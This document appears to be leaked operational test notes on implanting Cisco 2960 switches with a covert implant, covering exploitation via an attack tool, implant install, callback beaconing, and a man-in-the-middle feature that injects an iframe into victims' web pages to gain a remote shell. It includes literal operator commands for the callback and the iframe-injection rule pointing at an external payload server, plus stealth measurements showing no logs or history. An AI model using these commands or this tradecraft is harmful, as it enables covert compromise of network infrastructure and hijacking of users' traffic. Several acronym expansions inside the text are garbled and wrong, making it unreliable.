JQJTHRESHER Test Notes

3/4/2015 - User #75025

Followed README instructions to trigger HG.  Opened and setup Listening window first, then followed steps to open and setup Trigger window.  When I entered ./prep-ct.sh in the Trigger window, got the following message in the Listening window:

Bus error (core dumped) - spoke with User #75029/Xetron about this.  He says this is because ./prep-ct.sh is only meant to be run once.  It is in the README to run twice because the README assumes you are not triggering and listening on the same VM.

3/6/2015 - User #75025

Was trying different things with the Seeds host to get HG to call back without an explicit IP to impersonate.  I edited the ifcfg-eth1 file on Seeds to remove the DOMAIN variable and then saved my changes to the file.  Then I restarted network services on the Seeds host so my changes would take effect.  Noticed that I could no longer ping the default gateway from the Seeds host.  Logged into network gear to verifiy connections and found 3750G g1/0/11 in err-disable state with syslog message %ETHCTR-3-LOOP_BACK_DETECTED: Loopback detected on Gi1/0/11, putting Gi1/0/11 in err-disable state.  I bounced the port to restore and it came up/up.  I also check the TOR-SW-1 and found g1/0/3 in the same state.  Bounced port to restore.  Went back to ICON VMVirtual Machine to attempt to trigger again and now Trigger packets are not successful, where they were before.  Ran tcpdump on the Seeds host that is the destination for the trigger packet and it actually does receive the trigger packet.  HG is no longer picking up the trigger packet.  Reloaded 2960S to reinstall HG, and without HG installed, ports no longer to into err-disable state when I issue service network restart on Seeds.  Successfully re-attacked with HG and still do not see the err-disable issue.

Progress / Notes

1. TR team has performed initial review of configuration and Ops provided diagrams
2. TR team is moving required VMs at this time
3. Created Blot-Proxy, Blot-Onslaught, Blot-CoverWeb, ICON-CutThroat VMs.  Copied Fedora10-hg2960-Seeds VMVirtual Machine from NDBNetwork Devices Branch Lab to use for seed traffic.
4. Built test network with 2960S-24TS-L target switch, 3750G-24T Router and 3 2960-24TT-L switches.
5. Upgraded IOSApple operating system for small devices on target 2960S switch to c2960s-universalk9-mz.122-55.SE7.bin.  Updated confiugration to match config obtained from COG.
6. Uploaded Aquaman delivery package to ICON-CutThroat VMVirtual Machine and installed in /home/ubuntu.
7. Successfully attacked target 2960S switch with SSHIAC and installed Hun-Grrr. Note:
   1. On ICON-CutThroat VMVirtual Machine - had to move to Devlan temporarily to download the ia32-lib from the repo in order for SSHIAC to run
   2. Must enable the root account and su - root in each window you use when you attack with SSHIAC and use CutThroat
8. Modified Seeds scripts on Fedora10-hg2960-Seeds VMVirtual Machine to generate ICMP/ARP, DNSDomain Name System and HTTPHypertext Transfer Protocol traffic in our test network.
9. Established comms between Hun-Grrr and ICON-Cuthroat VM.
   1. Used beacon get_current_trigger_number and beacon set_current_trigger_number to make sure HG trigger sequence number was correct
   2. Had successful trigger packets however did not receive a callback
   3. User #75024/Xteron recommended to use beacon call_me_back https 443 -ii 172.31.255.2 and then finally comms came up, successful SSLSecure Socket Layer handshake in listening window.
10. Created new WebServer VMVirtual Machine to use as web destination for seed traffic - 172.20.13.25.
11. Created new BINDDNSDomain Name System server software DNSDomain Name System server VMVirtual Machine to resolve WebServer domain.  New BINDDNSDomain Name System server software server has google.com, cnn.com and blot.com zones.
12. IXIA added to the topology for traffic generation. Port 11 on IXIA to 0/1 on 3750 and IXIA Port 20 to 2960S 1/0/24
13. Spoke with BARTWELL and discussed network topology and CONOP.  We will need to update our testbed architecture to more closely match operational network.
14. Installed Flux on FluxHost VM
15. Copied Windex and Windex Target VMs to Test Range from NDBNetwork Devices Branch lab for use in SMITE testing
16. Re-configured topology based on latest 2960 configs from BARTWELL.
17. Fixed issue with Seeds traffic - added second DNSDomain Name System server and moved both DNSDomain Name System servers and Web server into public IP space.  HG comms now established without specifying a host to impersonate.
18. Successfully tested HG SMITE functionality using Windex-Victim-WinXPProSP3 (192.168.21.11), Windex (X.X.X.XX (LVLT-GOGL-8-8-8[US])), and our WebServer (X.X.X.XX (LVLT-GOGL-8-8-8[US])).
    1. User #75027/Xetron recommends always using the -bc and -bk flags when creating the mitm rule.  This bypasses compression and chunking, and SMITE did not work in our test scenario without these flags.
    2. User #75028/Xetron noted that the iframe is injected after the <body> tag, and if the body tag is split into two packets, HG will not add the iframe

    3. mitm create http_iframe 192.168.21.11 255.255.255.0 0 0 X.X.X.XX (LVLT-GOGL-8-8-8[US]) 255.255.255.0 80 80 "http://X.X.X.XX (LVLT-GOGL-8-8-8[US]):8888/?promo_code=1Z45RDJ" -en -bc -bk

19. Installed 12.2(50)SE5 on 2960#3 for use in testing Tunnel
20. Copied RANCID VMVirtual Machine from NDBNetwork Devices Branch Lab up to TestRange and configured for use on JQJTHRESHER testing
21. Reviewed Test Plan with team
22. Discussed CONOPConcealed Operation of use of Flux with Dualor Tunnel with Operator
23. Implanted 2960#3 with aquaman-3h survey delivery of HG and established comms from ICON-CT.
24. Completed the following Smoke Tests against the target 2960-S:
    1. Attack with SSHIAC
       1. SSHIAC produced the following out on CutThroat during install - LG EC-125 DHDiffie-Hellman encryption EC-60 EC-159 M
       2. Five second CPU on Target 2960-S hit 66% as a high during the SSHIAC attack, One minute - 22%, Five minute - 11%
       3. No commands seen in history
       4. No syslog messages generated
       5. Memory used increased by ~50k
    2. Installed HG - Aquaman-5h
       1. Installed with no delay set between packets
       2. Five second CPU hit 25% during install
       3. Memory used increased by 2.8M after install from baseline
       4. No syslog messages generated
    3. Establish Comms with ICON-CT
       1. Five second CPU hit 19% during SSLSecure Socket Layer Handshake with ICON-CT
       2. No significant change to memory used (~1k)
    4. SMITE capability
       1. Successfully injected an Iframe into a web request and established a shell term connection with Windex
       2. Filter applied: mitm create http_iframe 192.168.21.11 255.255.255.0 0 0 X.X.X.XX (LVLT-GOGL-8-8-8[US]) 255.255.255.0 80 80 "http://X.X.X.XX (LVLT-GOGL-8-8-8[US]):8888/?promo_code=1Z45RDJ" -en -bc -bk
       3. -bc and -bk flags are recommended by User #75026/Xetron for standard use because they offer the best chance of success.  These flags will bypass compression and chunking, and in fact SMITE does not work in our test environment without these flags configured.
       4. Five second CPU did not change from baseline - no noticeable spike
       5. No syslog messages generated.
       6. Took two screenshots - one of windex shellterm connection and one of victim source code showing Iframe for Test Report
    5. CI Test
       1. Used RANCID to compare configuration of Target 2960-S before any testing and configuration after previous smoke tests completed - RANCID found no change
       2. There were CPU spikes during SSHIAC and HG install, however these are known.  Need to confirm our CPU spikes are within expected levels.
       3. There was a change in the memory used after HG install, need to confirm if this is expected and within norms.
       4. Need to eyeball the output from show-tech from before and after to look for any anamolies
       5. Found no change to files or file sizes on file system
       6. Note that there is no "test platform debugger dumpmem" command available on this 2960-S.  Based on PW's Kingpin test report, this is the only IOSApple operating system for small devices (except ROMMONRead-Only Memory Monitor Cisco bootstrap program commands) that will allow inspection of HG memory.
       7. Time permitting could perform additional hidden commands
